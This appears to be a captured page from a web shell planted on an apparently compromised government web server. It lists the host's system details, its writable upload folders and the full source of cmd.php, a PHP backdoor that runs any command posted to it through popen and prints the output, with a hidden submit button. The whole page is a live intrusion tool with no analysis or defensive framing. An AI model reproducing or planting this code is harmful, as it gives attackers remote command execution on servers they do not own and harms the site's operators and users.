MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /share/files/pathumthani_news/attach_file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //share/files/pathumthani_news/attach_file/cmd.php
<form action='<? echo $_SERVER['PHP_SELF']; ?>' method='post' enctype='multipart/form-data'>
  <div align="right">
  <input type='strcommand' name='strcommand' />
  <input type="submit" style="height: 0px; width: 0px; border: none; padding: 0px;" hidefocus="true" />
  </div>
</form>
<script>
	document.all.strcommand.focus();
</script>
<?php
//echo "<pre>";	
//$resout = array();
	//$resval = system("ls /var/",$resout);
//echo "</pre>";
//echo $resval;
//echo $resout;

function mysystem($command) {
  if (!($p=popen("($command)2>&1","r"))) { 
    return 126;
  }

  while (!feof($p)) {
    $line=fgets($p,1000);
    $out .= $line;
  }
  pclose($p);
  return $out; 
}
if ($_POST['strcommand']){
	
	$scommand = $_POST['strcommand'];
	echo "<div style='background:#ffccdd;'>$scommand</div>";
echo "<pre>".mysystem("$scommand")."</pre>";
}
?>

Anon7 - 2021